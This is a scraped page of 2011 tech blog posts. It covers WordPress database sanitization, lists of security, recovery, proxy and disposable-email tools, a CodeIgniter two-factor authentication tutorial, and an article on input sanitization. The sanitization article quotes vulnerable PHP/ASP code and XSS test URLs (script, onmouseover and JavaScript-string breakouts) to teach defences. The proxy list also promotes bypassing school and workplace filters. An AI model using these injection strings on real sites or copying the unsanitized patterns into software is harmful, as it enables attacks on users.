$author_id = $wpdb->get_var("SELECT post_author FROM wp_posts WHERE ID = 2563");
// Insert a record
$wpdb->insert("wp_postmeta", array("post_id" => 2323,  "meta_key" => "favorite_count", "meta_value" => 224 ), array("%d", "%s", "%d"));
// Update a record
$wpdb->update("wp_postmeta", array("meta_value" => 225), array("meta_key" => "favorite_count", "post_id" => 2323), array("%d"), array("%s", "%d"));

The insert() and update() methods are helper methods, and they’re great because, apart from modularizing your database interactions a bit, they also take care of sanitization for you. If you want to use the general query() method, though, you will need to take care of it on your own.

The easier way is just to use the escape() method:

$data = $wpdb->escape($_POST[about_me]);
$wpdb->query("UPDATE wp_usermeta SET meta_value = '$data' WHERE meta_key = 'description' AND user_id = 154  ");

A slightly harder but better way to go about this is to use the prepare() method. An example from the WordPress Codex illustrates this perfectly:

$metakey	= "Harriet's Adages";
$metavalue	= "WordPress' database interface is like Sunday Morning: Easy.";
$wpdb->query( $wpdb->prepare(
	"
		INSERT INTO $wpdb->postmeta
		( post_id, meta_key, meta_value )
		VALUES ( %d, %s, %s )
	",
        10,
	$metakey,
	$metavalue
) );

Further Protection Using Sanitization

Sanitization is a fairly big topic and requires quite some time to master. For now, you’ll be busy mostly determining which characters to allow and which to disallow, and then finding ways to parse out the latter. Some common needs are to parse HTML out of addresses, filter numbers out of strings, validate email addresses and so on, but you will need to implement your own solutions for more complex needs. See the “Further Reading” section for more on this topic.

Final Thoughts

The measures needed to secure a website cannot be discussed in a single book, let alone a poor article. There are many methods and topics we did not look at, such as advanced password encryption, salts and so on. But hopefully, by implementing what we’ve discussed, your website will be much safer. Hackers usually go for the weakest link, so if your website is not insanely popular and is fairly secure, you should be OK.

While I have a lot of experience in this field, I am far from being a security expert. If you know of any other or better methods, do share them in the comments. There is always something new to learn about website security.

General Reading

WordPress-Specific Reading

(al)


© Daniel Pataki for Smashing Magazine, 2011.

October 20 2011

23:57

5 Free Internet Security Tools That Are Absolutely Useful

There are many internet security tools and applications out there, but getting by free and good ones is not that easy. Today, we are sharing 5 Free Internet Security Tools That Are Absolutely Useful. Read each entry in the list and see which one suits your needs best.

You are welcome if you want to share more internet security tools that our readers/viewers may like. Do you want to be the first one to know the latest happenings at  SmashingApps.com, just subscribe to our rss feed and you can follow us on twitter and follow us on Digg as well to get updated.

PowerTools Lite

PowerTools Lite 2011 is a freeware edition of jv16 PowerTools – the ultimate Windows optimization and tuneup utility suite. PowerTools Lite 2011 allows you to easily clean up your computer from unneeded data, unused temp files, registry left overs and automatically fix registry errors.

Glary Utilities

Glary Utilities is a freeware with registry and disk cleaning, privacy protection, performance accelerator and amazing multifunctional tools. It can fix dogged registry errors, wipe off clutters, optimize internet speed, safeguard confidential files and maintain maximum performance.

Advanced SystemCare Free

Advanced SystemCare Free (formerly Advanced WindowsCare Personal) has a one-click approach to help protect, repair, clean, and optimize your PC. This free PC repair software is a “must-have” tool for your computer.

Ad-Aware Free Internet Security

Ad-Aware Free Internet Security features real-time protection, advanced Genocode detection technology, rootkit protection, automatic updates, and much more — to ensure that you have the power to protect yourself online.

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

August 11 2011

15:40

5 Must Have File Recovery Tools For Linux Users

Creating a backup of your computer is a wise idea. It helps avoid losing your files to accidental deletions. But if your hard disk is damaged some way or the data is lost without you having its backup, file recovery programs are your best bet.

Like all other application types, Windows users will find a plethora of options when it comes file recovery software. Options for Linux users, on the other hand, are limited. Thus we decided to share the top 5 file recovery apps for our Linux reader. We hope you find today’s list helpful.

Ddrescue

Ddrescue is a wonderful file recovery program that operates automatically. Without prompting the user for timely actions, it copies data from one file or bloc to another, attempting to rescue data in case of read errors. If not asked to, the app will not truncate the output file or write zeros to the output when bad sectors are found in the input. Thus “every time you run it on the same output file, it tries to fill in the gaps without wiping out the data already rescued.

Safecopy

Safecopy is another file recovery tool that is best suited to extracting data from external sources such as floppies, CDs, etc. The app “includes a low level IO layer to read CDROM disks in raw mode.”

TestDisk

TestDisk is a powerful file recovery freeware for Linux. The app can recover deleted partitions, FAT32 boot sector, fix MFT using MFT mirror, fix FAT tables, files from deleted FAT/exFAT/NTFS/ext2/ext3/ext4 partitions, and a lot more.

PhotoRec

PhotoRec is a Linux file recovery app best suited to recovering photos and media files. It can also recover document files and works with external sources equally well.

Mondo Rescue

Mondo Rescue is an excellent tool for situations involving GPL disasters. The app supports external sources and is packaged for multiple distributions namely RedHat, RHEL, SuSE, SLES, Mandriva, Debian, and Gentoo.

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

July 11 2011

17:00

10 Privacy Tools To Browse The Web Anonymously

There are lots of people who prefer to browse the internet using a proxy. There are many reasons behind it. One of the most important reasons include your private information which you may just leave on a public computer.

When you browse the internet through hidden proxies, websites does not send you the request directly but to the proxy server and it shows the information of the proxy server rather than your personal information. They are also used to unblock websites on different organizations and school networks like Facebook, Twitter etc.

For that purpose, we have gathered a list of 10 excellent free proxy services which you can use to browse the internet anonymously.

HideMyAss

With HidemyAss, you can surf the web anonymously, hide your IP address, secure your internet connection, hide your internet history, and protect your online identity. All you have to do is paste the URL of the website you want to visit and click on HideMyAss button.

clip_image002

Checkout HideMyAss @ http://www.hidemyass.com/

Tor

Tor is free software for windows which enables users improve their privacy and security when they are browsing the internet. With Tor, you can prevent websites from tracking your IP and other personal information. It even helps users publish websites and other online services without revealing the location of the website.

clip_image004

You can download Tor from https://www.torproject.org/

Guardster

Guardster is another online proxy tool which helps users surf the web anonymously and protect your identity when you visit any website. Guardster protects your privacy by connecting with the website through Guardster servers which does not reveal you IP and other personal informations. It even comes with support for Javascript and cookies. If you are satisfied with the free service, you can subscribe to Guardster paid service which enables you to browse encrypted SSL websites and is completely ad free.

clip_image006

Check out Guardster @ http://www.guardster.com/

MegaProxy

Like Guardster, Megaproxy is another free proxy websites which enables users browse websites without any trace. You can browse the internet without revealing your identity and the best thing about this service is that your dont have to install any third party applications to use the service.

clip_image008

Checkout Megaproxy @ http://www.megaproxy.com/freesurf/

Fsurf

With Fsurf, you can helps users anonymously surf the web and help the users visit websites that are restricted by their ISP or organizations such as schools, universities etc. Unlike other proxy websites, this service is really simple, easy to use and has a simple interface.

clip_image010

Checkout Fsurf @ http://www.fsurf.com/

Privoxy

Privoxy is a free non-caching proxy software which can be used to enhanced privacy when surfing the web. With Privoxy, you can modify web page data and HTTP headers, control access, and remove ads and other obnoxious Internet junk. Privoxy is really easy to use and can be customized depending on the needs of the user.

clip_image012

You can download Privoxy from https://sourceforge.net/projects/ijbswa/files/

Online Anonymous Proxy

With Online Anonymous Proxy, users can open restricted and blocked websites (e.g Facebook, Twitter etc.) in institutions and organizations.

clip_image014

Checkout Online Anonymous Proxy @ http://zend2.com/

8. TryCatchMe

TryCatchMe is a free proxy website which provides users with the ability the surf the web without leaving any traces or any personal information. You can also access blocked websites in your school or university and protect your online privacy.

clip_image016

Checkout TryCatchMe @ http://www.trycatchme.com/

Heeky

With Heeky, you can bypass web filters that block certain websites on networks of schools and universities. You can also hide your IP and personal information while you are surfing the internet.

clip_image018

Checkout Heeky @ http://www.heeky.com/

Web4Proxy

Web4Proxy provides users with ability to surf the web anonymously and bypass web filters to access websites which are blocked by your ISP or organization’s network.

clip_image020

Checkout Web4Proxy @ http://www.web4proxy.com/

Disclaimer: By listing these products at SmashingApps.com, Our intention is only to give knowledge about all those interesting tools that might become useful for our readers. If these tools are not allowed by your organization or your network administrator then we strictly recommend that do not use these tools in any circumstances. By any means, SmashingApps.com will not be responsible for anyone’s personal decision for using these tools where these are restricted.

</a>

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

June 24 2011

14:42

Integrating Two-Factor Authentication with CodeIgniter

Advertise here

With the recent string of high profile break-ins (hacks) at Sony and other companies, it’s time you took a second look at the security of your website. Two-factor authentication is a step in the right direction to securing your website from attackers. In this tutorial, we’ll take a look at implementing this in our CodeIgniter application.


What is Two-Factor Authentication?

Two-factor authentication requires users to use something they know, such as a username and password, and something they have, like a phone, to log in.

Lately, companies like Google and Facebook have been rolling out two-factor authentication for their users. Other services, like MailChimp, are using alternate forms of two-factor authentication to help thwart attackers. But still, what specifically is two-factor authentication?

Two-factor authentication is a way of proving your identity based on your username and password as well as a physical device that you can carry with you.

Duo supports push notifications
Duo’s mobile application supports push notifications for authentication!

This makes it much harder for crooks to steal your identity, since they will need access to your phone or hardware token – not just your login credentials.

Lucky for you, Duo Security offers a free two-factor service ideal for anybody looking to protect their website.

Not only is Duo free, but it’s full of features. They let you authenticate in a variety of ways, including:

  • Phonecall authentication
  • SMS-based tokens
  • Mobile app token generator
  • Push-based authentication
  • Hardware tokens available for purchase

Step 1: Setup

Setup CodeIgniter

If you haven’t worked with CodeIgniter before, I highly recommend that you check out theCodeIgniter From Scratch series first.

This tutorial will build on the Easy Authentication with CodeIgniter tutorial. This tutorial will be much easier for you to understand if you complete the previous tutorial before continuing. We will be using the files from that tutorial as our starting point.

Please verify that your config/autoload.php has the following helpers being loaded.

$autoload['helper'] = array('url', 'form');

Create an Account

Head over to Duo Security, and sign up for an account.

They offer a free plan for open source projects, and for sites with less than 10 Duo users (A Duo user is someone who will be using the two-factor authentication to log in).

Create an Integration

After registering, you need to log in to Duo and create an integration. Once logged in, click on integrations on the side panel to pull up the integrations page. From there, click the “New Integration” button.

Make sure the integration you create is a Web SDK integration. This will allow you to use their PHP API with CodeIgniter.

The integration name is only used on Duo’s website. This is just a way for you to identify your integration. Duo has a getting started guide that explains how to set up an integration.

Download the Web SDK

In addition to setting up an integration, you’ll need to download the Web SDK.

There are two pieces of the SDK that we’ll need: A PHP file (duo_web.php) and a JavaScript file. Please note that the JavaScript has a jQuery dependency and the bundled JavaScript comes with jQuery.

We will be using the bundled JavaScript, but note that if you aren’t, jQuery must be loaded before the JavaScript provided by Duo. For more information on the Web SDK and how it works, view the documentation at http://www.duosecurity.com/docs/duoweb


Step 2: Modifications for Security

After finishing the Easy Authentication with CodeIgniter tutorial, you should have a basic login system in place.

Better Hashing

As a first step, we’ll add a strong hashing function to the database. Openwall has a nice PHP hashing library that implements bcrypt. The latest version of phpass is 0.3 at the time of this article.

Go ahead and download phpass from their website: http://openwall.com/phpass/. After downloading and unarchiving the folder, you’ll need to place that in your libraries folder.

We’ll now need to make our own library file as an interface to phpass. Create a new library file, named password.php. Our library will have two functions:

  • a hash function to rehash the old passwords
  • a check_password function to compare hashes with plaintext passwords.
require_once('phpass-0.3/PasswordHash.php');

class Password {

  var $hasher;

  function __construct()
  {
    // 8 is the hash strength.  A larger value can be used for extra security.
    // TRUE makes the passwords portable.  FALSE is much more secure.
    $this->hasher = new PasswordHash(8, TRUE);
  }

 function hash($pass)
 {
    return $this->hasher->HashPassword($pass);
 }

 function check_password($pass, $hash){
    return $this->hasher->CheckPassword($pass, $hash);
 }
}

The require_once() statement ensures that we’ll be able to use the PasswordHash class from phpass.

PasswordHash takes two arguments in its constructor:

  • a number indicating hash strength
  • a boolean as to whether or not the passwords should be portable.

In this case, we’re going to make our passwords portable.

This essentially means that the hash isn’t as strong, but if we ever need to switch servers or move the database, we can make a copy. If we don’t use a portable hashing scheme, we run the risk of having all of our users create new passwords if the database is moved.

Note: Even though we’re implementing a stronger hashing function, you should still require users to have a strong password.

Altering the Admin Model

   public function verify_user($email, $password)
   {
      $q = $this
            ->db
            ->where('email_address', $email)
            ->limit(1)
            ->get('users');

      if ( $q->num_rows > 0 ) {
         $result = $q->row();
         $this->load->library('password');

         //Make sure the hashes match.
         if($this->password->check_password($password, $result->password)){
          return $result;
         }
      }
      return false;
   }

Previously, we were selecting the user by the email address and the hashed password. Now we’re pulling the user from the database based on the email address. This means we have to validate the password before we can return the user.

After we’ve pulled the user from the database, we’ll load the password library we just created and verify that the entered password matches the hashed password.

If the two passwords match, we proceed to return the user, otherwise, we return false.

Be sure to use the password library to hash a new password for yourself. The passwords in your database will be invalid now!

Altering the Users Table

We’re going to add a basic permission field to the database. This permission will determine whether or not the user will log in with two-factor authentication.

We need to add a column to the users table for two-factor permissions. You can do this via phpMyAdmin, or by running the following SQL.

ALTER TABLE users ADD two_factor_permission BOOLEAN NOT NULL;

A value of 1 in the permission column will make the user use two-factor authentication.

The SQL will add a boolean column to the users table. We’ll use this to require users to use two-factor authentication, or to bypass it.

If you did this right, you should see a new column in your users table. You’ll then need to update a current record, or insert a new record that sets two_factor_permission to true (1).

If this column is set to false (0), the user will be able to bypass two-factor authentication. This is ideal for users who don’t need the same level of security as an administrator.


Step 3: Using the Permission Setting

We’ll need a way to bypass secondary authentication, as well as a way to insert a secondary authentication step to the login process.

Bypassing Secondary Authentication

First off, we’ll need a way to bypass secondary authentication. This means that we’ll need to inspect the user in the admin controller.

    if ( $res !== FALSE ) {
        $_SESSION['username'] = $res->email_address;
        if ( $res->two_factor_permission ) {
          $this->_second_auth($res->email_address);
          return;
        }
        else {
          $_SESSION['logged_in'] = TRUE;
          redirect('welcome');
        }
    }

This checks to see if the user should be logged in with our two-factor system.

If the user should be using two-factor authentication, we want them to go to the secondary authentication page without logging them in.

Instead of redirecting the user, we can call the _second_auth() function and have that load the page. The “return” statement avoids loading the login form.

We’ve created a new session variable logged_in which we will use to verify that the user has been logged in. This means we need to make some changes to the redirects.

Fixing the Redirects

There are two redirects that need to be changed: the first is in the index function of the admin controller.

if ( isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === TRUE ) {
  redirect('welcome');
}

The other is in the welcome controller. We need to make sure that the user isn’t logged in before redirecting.

if ( !isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== TRUE ) {
  redirect('admin');
}

Inserting Secondary Authentication

Now we need to handle the secondary authentication.

In the admin/index function, we call _second_auth(), so let’s write a basic function.

  public function _second_auth ($username)
  {
    echo "Welcome $username, you are looking at a secondary authentication page.";
  }

Step 4: Constructing the View

Traditional authentication systems treat logins as a single step process.

User enters username and password, then is logged in.

Duo gives us a bit of JavaScript and HTML to inject between the two steps. This means we’ll need to create a view with the required code.

User enters username and password, then is prompted for phone verification, then is logged in.

Let’s create a new view, called second_auth.php in the views folder. We’ll need to insert the the iframe and JavaScript provided by Duo to make it work.

You should create a page with the basic HTML structure. The following can be placed in the body:

        <iframe id="duo_iframe" width="100%" height="500" frameborder="0"></iframe>
        <script type="text/javascript" src="/path/to/Duo-Web-v1.js" ></script>

In a typical setup, you would keep all your JavaScript in a resource folder. Here, we’ve put a resources folder in the root of our site, with a ‘js‘ sub-folder that contains the Web SDK JavaScript file.

Our src will look like:

src="<? echo base_url(); ?>resources/js/Duo-Web-v1.js"

We also need to add this second bit of JavaScript.


We’ll generate this data from the controller shortly.

Inserting a Form

If you followed the previous tutorial, you should have configured CodeIgniter to protect against CSRF.

Because the JavaScript will post data to our controller, CodeIgniter will be looking for the CSRF token. If we don’t have this token, we’ll get an error.

The JavaScript we’re using will submit a form with the id “duo_form“. All we need to do is create it.

echo form_open('admin', array('id'=> "duo_form"));
echo form_close();

By using the form class, CodeIgniter will automatically inject the token. When the form gets posted, CodeIgniter will find the token and let us continue.


Step 5: Preparing the Data

Back in the admin controller, we need to generate some data in our _second_auth() function.

The host is the API URL that you were provided with when you signed up with Duo. This URL should look something like api-xxxxxxxx.duosecurity.com (where ‘xxxxxxxx’ is a unique string tied to your Duo account).

$data['host'] = "api-xxxxxxxx.duosecurity.com";

Remember to replace the host with your specific URL. The above URL will not work.

The post action is the URL that will be handling the response once the user has attempted to authenticate with Duo.

We’ll create another function in the admin controller to handle the post-back. For now, we’ll name the function process_second_auth().

  $data['post_action'] = base_URL() . "admin/process_second_auth";

Loading the PHP Web SDK

Make sure you rename ‘duo_web.php’ to ‘duo.php’ to avoid CodeIgniter errors.

If you haven’t downloaded the latest copy of duo_web.php, you can get it from Duo’s Web SDK GitHub page.

Because the Web SDK comes as a PHP class, we can rename it to “duo.php” and place it in our “application/libraries” folder.

After you’ve placed the file into the libraries folder, we can load it in our controller.

  public function _second_auth($username)
  {
    $this->load->library('duo');

    $data['host'] = "api-xxxxxxxx.duosecurity.com";
    $data['post_action'] = base_URL() . "admin/process_second_auth";

    echo "Welcome $username, you are looking at a secondary authentication page.";
  }

Generating the Signed Request

To understand how to generate sig_request, you must understand what we’re generating.

The $akey variable needs to be at least 40 characters long, otherwise the Duo library will return an error!

The Duo Web SDK creates two signed tokens, one with the secret key they give you, another with an application key that you make up.

sig_request is a combination of the two tokens.

By creating your own application key you will have a second layer of security. An attacker will need both the secret key from Duo and your personal application key to spoof a token.

Now we’ll generate the ‘sig_request’. Duo will provide you with an integration key and secret key when you create an integration.

Make sure to replace the below text with the integration key and secret key given to you. You need to make up your own secret key. It needs to be at least 40 characters long, and should be as random as possible.

public function _second_auth($username)
{
  $this->load->library('duo');

  // Duo Integration Key
  $ikey = "REPLACE WITH YOUR DUO INTEGRATION KEY";

  // Duo Secret Key
  $skey = "REPLACE WITH YOU DUO SECRET KEY";

  // Personal Application Key
  $akey = "CREATE AN APPLICATION KEY";

  $data['host'] = "api-xxxxxxxx.duosecurity.com";
  $data['post_action'] = base_URL() . "admin/process_second_auth";
  $data['sig_request'] = $this->duo->signRequest($ikey, $skey, $akey, $username);

  echo "Welcome $username, you are looking at a secondary authentication page.";
}

Duo’s signRequest() will generate the tokens and return them as a string to pass to sig_request.

Now we need to load the data into the view we created earlier.

public function _second_auth($username)
{
  $this->load->library('duo');

  // Duo Integration Key
  $ikey = "REPLACE WITH YOUR DUO INTEGRATION KEY";

  // Duo Secret Key
  $skey = "REPLACE WITH YOUR DUO SECRET KEY";

  // Personal Application Key
  $akey = "CREATE AN APPLICATION KEY";

  $data['host'] = "api-xxxxxxxx.duosecurity.com";
  $data['post_action'] = base_URL() . "admin/process_second_auth";
  $data['sig_request'] = $this->duo->signRequest($ikey, $skey, $akey, $username);

  $this->load->view('second_auth', $data);
}

If you attempt to login now, you should see this page:

Duo Enrollment Page

This is the enrollment form. You can enroll your cell phone here, but we don’t have anything to process the secondary authentication so it won’t log you in.

If you don’t see anything at all, view the page source for error messages. Any errors with the data will be displayed in the <script> tag.

If it says, “Access Denied”, make sure that you have entered the integration and secret key from Duo Security’s website.


Step 6: Processing Secondary Authentication

We’ve set up our post action to be admin/process_second_auth, so we need to create a process_second_auth() function.

public function process_second_auth()
{
  if ( isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === TRUE ) {
    redirect('welcome');
  }
}

Since this function will have its own URL, we need to redirect logged in users.

We have to load the Duo library again to validate the data.

$this->load->library('duo');

// Same keys used in _second_auth()
$ikey = "REPLACE WITH YOUR DUO INTEGRATION KEY";
$skey = "REPLACE WITH YOUR DUO SECRET KEY";
$akey = "REPLACE WITH YOUR APPLICATION KEY";

We’ll be needing the same $ikey, $skey and $akey from the _second_auth() function to validate the posted data.

The JavaScript posts back a sig_response from the Duo servers.

$sig_response = $this->input->post('sig_response');
$username = $this->duo->verifyResponse($ikey, $skey, $akey, $sig_response);

Once we’ve pulled sig_response from the posted data, we’ll run it through the verifyResponse() function. This will return NULL if the tokens don’t match, or a username if they are valid.

if ( $username ) {
  $_SESSION['logged_in'] = TRUE;
  redirect('welcome');
}
else{
  redirect('admin');
}

Lastly, we’ll verify that a username was returned, and finish logging them in by setting the value of $_SESSION['logged_in'] to true.

All together the function should look like this:

public function process_second_auth()
{
  if ( isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === TRUE ) {
    redirect('welcome');
  }

  $this->load->library('duo');

  // Same keys used in _second_auth()
  $ikey = "REPLACE WITH DUO'S INTEGRATION KEY";
  $skey = "REPLACE WITH DUO'S SECRET KEY";
  $akey = "REPLACE WITH YOUR APPLICATION KEY";

  $sig_response = $this->input->post('sig_response');
  $username = $this->duo->verifyResponse($ikey, $skey, $akey, $sig_response);

  if ( $username ) {
    $_SESSION['logged_in'] = TRUE;
    redirect('welcome');
  }
  else{
    redirect('admin');
  }
}

Now you should be able to login with two-factor authentication, go ahead and try it out!


Conclusion

Hopefully you’ve set up your own two-factor authentication system for CodeIgniter!

What else could you do? There is plenty to do in terms of security, but the largest improvement would be tracking user actions.

A good security system isn’t only secure: it will help you identify where a vulnerability came from. You should keep track of login attempts, and other actions to make identifying attackers easier.

Thanks for reading! If you’re having trouble, leave a post in the comments.

April 14 2011

20:03

Ten Great Tools To Help You Secure From Spam Emails

There are many web apps and online tools out there, but getting by free and good ones is not that easy. That is why I am sharing Ten Great Tools To Help You Secure From Spam Emails. Read each entry in the list and see which tool suits your needs best.

You are welcome if you want to share more email securing tools that our readers/viewers may like. Do you want to be the first one to know the latest happenings at  SmashingApps.com, just subscribe to our rss feed and you can follow us on twitter and follow us on Digg as well to get updated.

tempalias

tempalias helps you out by providing temporary, anonymous email addresses, also called “aliases”. Any message sent to the tempalias address will be forwarded anonymously to your real email address. You can set a maximum number of days or messages for which the tempalias will be valid. When either limit has been reached, your temporary address will automatically be deleted.

filzmail

This website provides you with disposable e-mail addresses which expire after 24 Hours. You can read and reply to e-mails that are sent to the temporary e-mail address within the given time frame.

MintEmail

MintEmail.com gives you a three hour temporary email address. Simply click on “Create New Temporary Email” to get your temporary email address and all incoming emails will be displayed on this page. You even do not need to refresh the page.

Shady Emails

Shady Emails are an entertaining version of Disposable Emails . No one endorses anything contained in the email names. Some email names may be offensive. Messages sent to shady-email will be forwarded to real email address entered, until shady-email is destroyed.

Dispostable

This is another simple to use disposable email address service. They have offers a feature to use randomly created email too.

Pepbot

Pepbot is a temporary disposable email service. It helps you when you need a valid mail address but you don’t want to share your real one.

spamgourmet

spamgourmet is one of the most convenient and effective anti-spam tools available. There is nothing to install on your computer, and once you’re set up, it’s likely you won’t ever have to go back to the site for checking emails.

10 Minute Mail

At 10 Minute Mail, you will be given a temporary e-mail address. Any e-mails sent to that address will show up automatically on the web page. You can read them, click on links, and even reply to them. The e-mail address will expire after 10 minutes.

Emailerr

Emailerr is a simple application that helps you protect your email address from spambots when making your email address public.They take your email address and generate 4 different usable outputs: permalink, direct image, Javascript encoded, HTML encoded. You can then use any one of those outputs to show your email address publicly.

email me

email me lets you add a contact form to any website / blog. It’s fast and easy. Your contact email is never revealed.

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

March 18 2011

15:32

13 Excellent Plugins To Enhance The Power Of WordPress Admin Section

There are hundreds of wordpress plugins available on the internet. Some of them are very useful and some of them are only for the sake of existence. But it’s totally up to you that how you can make your wordpress blog more strong and powerful using different plugins to give your blog readers an amazing and wonderful experience. In this post, We are listing down wordpress plugins for admin area that are worth checking out.

You are welcome if you want to share more wordpress plugins for admin area that our readers/viewers may like. Do you want to be the first one to know the latest happenings at  SmashingApps.com just subscribe to our rss feed and you can follow us on twitter as well.

Developer Tools

The Developer Tools plugin creates an admin user interface for many of the code-enabled features in WordPress and commonly used JavaScript libraries. It also generate template code for theme development.

Role Scoper

Role Scoper is a comprehensive access control solution, giving you CMS-like control of reading and editing permissions. With this plugin, You can assign restrictions and roles to specific pages, posts or categories.

Ozh’ Admin Drop Down Menu

The lazy and the productive will love it : all admin links available in a neat horizontal CSS driven drop down menu. No need to click on “Manage” then “Pages” to edit pages. And plenty more space on your screen.

WP Login reCAPTCHA

This plugin simply adds reCAPTCHA to your login form. By adding reCAPTCHA to your login form, you can prevent bot / script from trying to login to your WordPress website.

WPMU Prefill Post

You can add the ability to create post template. You can manage templates and use them to prefill a post. Also prefill the post title.

Scissors Continued

This plugin adds cropping, resizing, and rotating functionality to WordPress’ image upload and management dialogs. Scissors also allows automatic resizing of images when they are uploaded and supports automatic and manual watermarking of images. Additionally, images that are resized in the post editor are automatically resampled to the requested size using bilinear filtering when a post is saved, which improves the perceived image quality while reducing the amount of data transferred at the same time.

Auto Post Thumbnail

Auto post thumbnail is a plugin to generate post thumbnail from first image in post or any custom post type. If the first image doesn’t work it will automatically search for the next one and so on until the post thumbnail is inserted.

Global Hide/Remove Admin Bar Plugin

This plugin adds an option to the Settings Menu to globally turn off the Admin Bar and/or turn off the user option in the profile to show admin bar.

Custom Login

You can use this plugin to customize your login screen. It will really help you to design personalized login screen for your every clients.

Hellos Bar

This plugin adds a javascript file that will position a fixed bar at the top of your browser screen to show announcements (controlled by a custom post type [CPT]) on each page load. Built with simple HTML and javascript.

Faster Image Insert

This plugin moves built-in Media Manager down in a meta-box, right next to main editing panel, so you have full control of the manager: opens it, makes it collapse or hidden from the interface completely. Best of all, is now you can insert image(s) much faster, and precisely where you want them to be.

WP Hotlink Protection

The WordPress Automatic Image Hotlink Protection plugin is a single step script designed to stop others from stealing your images. Simply add an .htaccess file to your root folder thereby stopping external web servers from linking directly to your files.

Cimy Header Image Rotator

With this plugin, you can displays an image that automatically rotates depending on setting. You can setup from one second up to one day and more. Intermediate settings are also possible.

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

January 11 2011

14:51

Keeping Web Users Safe By Sanitizing Input Data

Advertisement in Keeping Web Users Safe By Sanitizing Input Data
 in Keeping Web Users Safe By Sanitizing Input Data  in Keeping Web Users Safe By Sanitizing Input Data  in Keeping Web Users Safe By Sanitizing Input Data

In my last article, I spoke about several common mistakes that show up in web applications. Of these, the one that causes the most trouble is insufficient input validation/sanitization. In this article, I’m joined by my colleague Peter (evilops) Ellehauge in looking at input filtering in more depth while picking on a few real examples that we’ve seen around the web. As you’ll see from the examples below, insufficient input validation can result in various kinds of code injection including XSS, and in some cases can be used to phish user credentials or spread malware.

To start with, we’ll take an example[1] from one of the most discussed websites today. This example is from a site that hosts WikiLeaks material. Note that the back end code presented is not the actual code, but what we think it might be based on how the exploit works. The HTML was taken from their website. We think it’s fair to assume that it’s written in PHP as the form’s action is index.php.

<form method='get' action='index.php'>
<input name="search" value="<?php echo $_GET['search'];?>" />
<input type=submit name='getdata' value='Search' /></form>

In this code, the query string parameter search is echoed back to the user without sanitization. An attacker could email or IM unsuspecting users a crafted URL that escapes out of the <input> and does nasty things with JavaScript. A simple way to test for this exploit without doing anything malicious is to use a URL like this:

http://servername/index.php?search="><script>alert(0)</script>

This exploit works because PHP has no default input filtering, and the developers haven’t done any of their own filtering. This exploit would work just as well in most other programming languages as most of them also lack default input filtering. A safer way to write the above code is as follows:

<?php
$search = filter_input(INPUT_POST | INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
?>
<form method='get' action='index.php'>
<input name="search" value="<?php echo $search;?>” />
<input type=submit name='getdata' value='Search' /></form>

This is less convenient though and requires code for every input parameter used, so it is often a good choice to set special_chars as PHP’s default filter, and then override when required. We do this in PHP’s ini file with the following directive:

filter.default="special_chars"

We’re not aware of similar default filters in other languages, but if you know of any, let us know in the comments.

It’s important to note that simply adding this parameter to PHP’s ini file does not automatically make your application secure. This only takes care of the default case where an input parameter is echoed back in an HTML context. However, a web page contains many different contexts and each of these contexts requires input to be validated in a different way.

Is input validation enough?

Recently we’ve stumbled upon the following code:

<?php
$name = "";
if ($_GET['name']) {
    $name = filter_input(INPUT_POST | INPUT_GET, 'name', FILTER_SANITIZE_SPECIAL_CHARS);
}
echo "<a href=login?name=$name>login</a>";
?>

The developer correctly applies input filtering, and this code was reviewed and made live. However, something small seems to have slipped through. The developer hasn’t used quotes around the value of the href attribute, so the browser assumes that its value extends up to the first white-space character. A crafted URL demonstrates the problem:

http://servername/login.php?name=foo+onmouseover=alert(/bar/)

All of the characters in name are safe and pass through the filter untouched, but the resulting HTML looks like this:

<a href=login?name=foo onmouseover=alert(/bar/)>login</a>

The lack of quotes turns the attribute value into an onmouseover event handler. When the unsuspecting user mouses over the link to click on login, the onmouseover handler triggers. Quoting the value of the href attribute fixes the problem here. This is a good enough reason to quote all attribute values even though they are optional according to the HTML spec.

<?php
$name = "";
if ($_GET['name']) {
    $name = filter_input(INPUT_POST | INPUT_GET, 'name', FILTER_SANITIZE_SPECIAL_CHARS);
}
echo "<a href=\"login?name=$name\">login</a>";
?>

For this particular situation though, we also need to look at context. The href attribute accepts a URL as its value, so the value passed to it needs to be urlencoded as well as quoted.

Sql in Keeping Web Users Safe By Sanitizing Input Data
Full image (from xkcd)

Commonly overlooked sections

While many web developers correctly quote and validate input in page content, we find that some sections of the page are still overlooked, possibly because they aren’t perceived to be a problem, or perhaps they’ve just been missed. Here is an example from a dictionary web site:

<title><?php echo $word; ?> - Definitions and more ...</title>

Now by default, no browser executes code within the title tags, so the developer probably thought that it was safe to display data untreated in the title. Carefully crafted input data can escape the title tags and inject script with something like this

http://servername/dictionary?word=</title><script>alert(/xss/)</script>

Other commonly overlooked pages are error pages and error messages. Does your 404 page echo on screen the incorrect URL that was typed in? If it does, then it needs to treat that input first. A banking website recently had code similar to the following[2] (they used ASP in this case):

<%
if Request.Querystring("errmsg") then
    Response.Write("<em>" & Request.QueryString("errmsg") & "</em>")
end if
%>

The errmsg parameter didn’t come in from a form, but from a server-side redirect. The developers assumed that since this URL came from the server it would be safe.

Ads/analytics sections at the bottom of a page are also frequently not handled correctly. Perhaps because boilerplate code is provided and it just works. As the following example from a travel site shows, you should not trust anyone and that includes boilerplate code:

<script type="text/javascript">
google_afs_query = "<?php echo $_GET['query'];?>";
.
.
</script>

This is vulnerable to the following attack string:

http://servername/?query=";alert(0)//

In this case input data needs to be validated for use in a JavaScript context since that’s where the data is echoed out to. What meta-characters would you scan for in this case? Would you quote them or strip them? The answer depends on context, and only you the developer or owner of the page know what the right context is.

Different contexts

Now like we mentioned earlier, input may be used in different contexts, and it needs to be treated differently depending on the context that it will be used in. Sometimes data will be used in multiple contexts and may require to be treated differently for each case. Let’s look at a few cases.

HTML Context

